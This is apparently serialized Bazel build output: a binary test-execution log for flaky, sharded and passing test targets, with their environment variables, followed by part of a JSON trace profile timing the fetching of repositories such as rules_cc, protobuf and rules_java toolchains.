3bazel-out/k8-fastbuild/testlogs/flaky_test/test.logE
@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0<10>:2*'9€;|
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE
@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²½:º
/external/bazel_tools/tools/test/generate-xml.sh
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml
0
1?
JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binA
PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles>
RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./flaky_testj
TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel
TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs
TEST_NAME //:flaky_test^
TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely
TEST_SHARD_INDEX0
TEST_SIZEmedium=
TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
TEST_TARGET //:flaky_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87
TEST_TOTAL_SHARDS0s
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV
TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm
TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd
TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU
TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings
TEST_WORKSPACE_main
TZUTCF
XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml :2(;: //:flaky_testB
TestRunnerZprocesswrapper-sandboxhpx’#
€ì¸ B€ì¸ ¢ ïú—ÖÀ¦íÿ¨€àÃ<01><‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ=2*'<<3C>>‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xmlE
@cfe77d8780f07a6b93e2e76bb0806c9b5ec880e414605d03c0a9b92c7d0c57abšñ:î
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 3 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely
TEST_SHARD_INDEX2^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml =2(>://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpx’#
À‚ê BÀ‚ê ¢ ïú—ÖÀ¦íÿ¨€€Ã<01>?‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ@2*'?<3F>A‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xmlE
@8faa6c3e54a5d33b706bdd2917bf93f8e6522082b78cf016f23cc398558a7980šñ:î
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 2 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely
TEST_SHARD_INDEX1^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml @2(A://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpx’#
€‡§B€‡§¢ ïú—ÖÀ¦íÿ¨€€ÁB{
2bazel-out/k8-fastbuild/testlogs/pass_test/test.logE
@c4d97ed7504f0d4c742f57c5c7014ef33de0b8b077e90765a330ab231c2b09e5œC2*'BD{
2bazel-out/k8-fastbuild/testlogs/pass_test/test.xmlE
@e69b20191cc399c99510a46ad7322a20bd7fe10c2ac70a01c4e73bf5ad48969cý©:¦
/external/bazel_tools/tools/test/generate-xml.sh
2bazel-out/k8-fastbuild/testlogs/pass_test/test.log
2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml
0
0>
JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$
PATH/bin:/usr/bin:/usr/local/bin@
PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles=
RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./pass_testi
TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek
TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs
TEST_NAME //:pass_test]
TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely
TEST_SHARD_INDEX0
TEST_SIZEmedium<
TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
TEST_TARGET //:pass_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66b
TEST_TOTAL_SHARDS0r
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU
TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl
TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc
TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT
TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings
TEST_WORKSPACE_main
TZUTCE
XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml C2(D: //:pass_testB
TestRunnerZprocesswrapper-sandboxhpx’#
À‹äBÀ‹ä¢ ïú—ÖÀ¦íÿ¨€ÀÃ<01>E‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸF2*'E<>G‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xmlE
@da3be6ada8aa77a9ec8381222bb8358fcd7300c46bc8318e05b7cd792a471f60šñ:î
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 1 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely
TEST_SHARD_INDEX0^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml F2(G://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpx’#
€<>¡B€<>¡¢ ïú—ÖÀ¸á<C2B8>¨€àÃ

View file

@ -0,0 +1,170 @@
{"traceEvents":[
{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 658997, "dur": 1250, "pid": 1, "tid": 172},
{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 660759, "dur": 1022, "pid": 1, "tid": 172},
{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 662835, "dur": 371, "pid": 1, "tid": 172},
{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3904359, "dur": 32, "pid": 1, "tid": 316},
{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3953422, "dur": 10926, "pid": 1, "tid": 316},
{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3964567, "dur": 536104, "pid": 1, "tid": 316},
{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 4501714, "dur": 461, "pid": 1, "tid": 316},
{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4515525, "dur": 24, "pid": 1, "tid": 327},
{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4529433, "dur": 37, "pid": 1, "tid": 269},
{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4530239, "dur": 111971, "pid": 1, "tid": 269},
{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4643081, "dur": 286, "pid": 1, "tid": 269},
{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4648893, "dur": 19, "pid": 1, "tid": 290},
{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4649521, "dur": 14, "pid": 1, "tid": 280},
{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651025, "dur": 16, "pid": 1, "tid": 324},
{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651819, "dur": 171321, "pid": 1, "tid": 324},
{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4823901, "dur": 258, "pid": 1, "tid": 324},
{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4869764, "dur": 6204, "pid": 1, "tid": 324},
{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4869967, "dur": 16837, "pid": 1, "tid": 280},
{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4901925, "dur": 2388, "pid": 1, "tid": 269},
{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4922218, "dur": 18, "pid": 1, "tid": 425},
{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4923661, "dur": 848913, "pid": 1, "tid": 425},
{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 5772986, "dur": 211, "pid": 1, "tid": 425},
{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6054930, "dur": 13, "pid": 1, "tid": 461},
{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6055425, "dur": 41544, "pid": 1, "tid": 461},
{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6097222, "dur": 159, "pid": 1, "tid": 461},
{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6101665, "dur": 23, "pid": 1, "tid": 463},
{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6105780, "dur": 2496, "pid": 1, "tid": 463},
{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6414717, "dur": 19, "pid": 1, "tid": 666},
{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6415310, "dur": 11, "pid": 1, "tid": 666},
{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6417309, "dur": 27, "pid": 1, "tid": 698},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6418768, "dur": 29, "pid": 1, "tid": 681},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6426581, "dur": 23, "pid": 1, "tid": 717},
{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6428070, "dur": 19, "pid": 1, "tid": 697},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6434044, "dur": 271, "pid": 1, "tid": 807},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6435224, "dur": 21, "pid": 1, "tid": 746},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6436035, "dur": 25, "pid": 1, "tid": 748},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6436767, "dur": 20, "pid": 1, "tid": 752},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6437255, "dur": 25, "pid": 1, "tid": 832},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6438672, "dur": 36, "pid": 1, "tid": 715},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6439596, "dur": 23, "pid": 1, "tid": 682},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6439942, "dur": 20, "pid": 1, "tid": 763},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6440519, "dur": 19, "pid": 1, "tid": 759},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6440736, "dur": 17, "pid": 1, "tid": 683},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6442806, "dur": 16, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6442996, "dur": 5, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6443159, "dur": 5, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6443317, "dur": 4, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6443305, "dur": 21, "pid": 1, "tid": 722},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443518, "dur": 5, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443604, "dur": 24, "pid": 1, "tid": 696},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6443760, "dur": 6, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6443771, "dur": 12, "pid": 1, "tid": 722},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6443908, "dur": 7, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6444086, "dur": 12, "pid": 1, "tid": 696},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6444184, "dur": 10, "pid": 1, "tid": 722},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6444205, "dur": 9, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6438398, "dur": 6035, "pid": 1, "tid": 838},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6445238, "dur": 9, "pid": 1, "tid": 778},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 685},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 777},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445315, "dur": 12, "pid": 1, "tid": 700},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6445593, "dur": 11, "pid": 1, "tid": 723},
{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 6445625, "dur": 12, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445624, "dur": 14, "pid": 1, "tid": 696},
{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6445646, "dur": 7, "pid": 1, "tid": 777},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445668, "dur": 13, "pid": 1, "tid": 778},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6445685, "dur": 11, "pid": 1, "tid": 722},
{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 6445761, "dur": 7, "pid": 1, "tid": 685},
{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6445765, "dur": 7, "pid": 1, "tid": 700},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6445728, "dur": 22, "pid": 1, "tid": 724},
{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6445786, "dur": 25, "pid": 1, "tid": 780},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6446119, "dur": 13, "pid": 1, "tid": 782},
{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6446992, "dur": 12, "pid": 1, "tid": 727},
{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447080, "dur": 14, "pid": 1, "tid": 773},
{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447500, "dur": 10, "pid": 1, "tid": 779},
{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451198, "dur": 356, "pid": 1, "tid": 703},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6456645, "dur": 18, "pid": 1, "tid": 706},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6458223, "dur": 12, "pid": 1, "tid": 689},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6460249, "dur": 13, "pid": 1, "tid": 747},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6467768, "dur": 21, "pid": 1, "tid": 845},
{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6470984, "dur": 21, "pid": 1, "tid": 765},
{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6445781, "dur": 31777, "pid": 1, "tid": 838},
{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451781, "dur": 26346, "pid": 1, "tid": 734},
{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6436289, "dur": 112074, "pid": 1, "tid": 687},
{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6548753, "dur": 150, "pid": 1, "tid": 687},
{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6558073, "dur": 15, "pid": 1, "tid": 731},
{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6562917, "dur": 2676, "pid": 1, "tid": 770},
{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447998, "dur": 173552, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6621865, "dur": 374, "pid": 1, "tid": 772},
{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6416123, "dur": 208585, "pid": 1, "tid": 666},
{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6624873, "dur": 537, "pid": 1, "tid": 666},
{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6633898, "dur": 156, "pid": 1, "tid": 694},
{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6634191, "dur": 3994, "pid": 1, "tid": 860},
{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6638675, "dur": 878, "pid": 1, "tid": 860},
{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6639839, "dur": 275, "pid": 1, "tid": 666},
{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6640214, "dur": 4287, "pid": 1, "tid": 860},
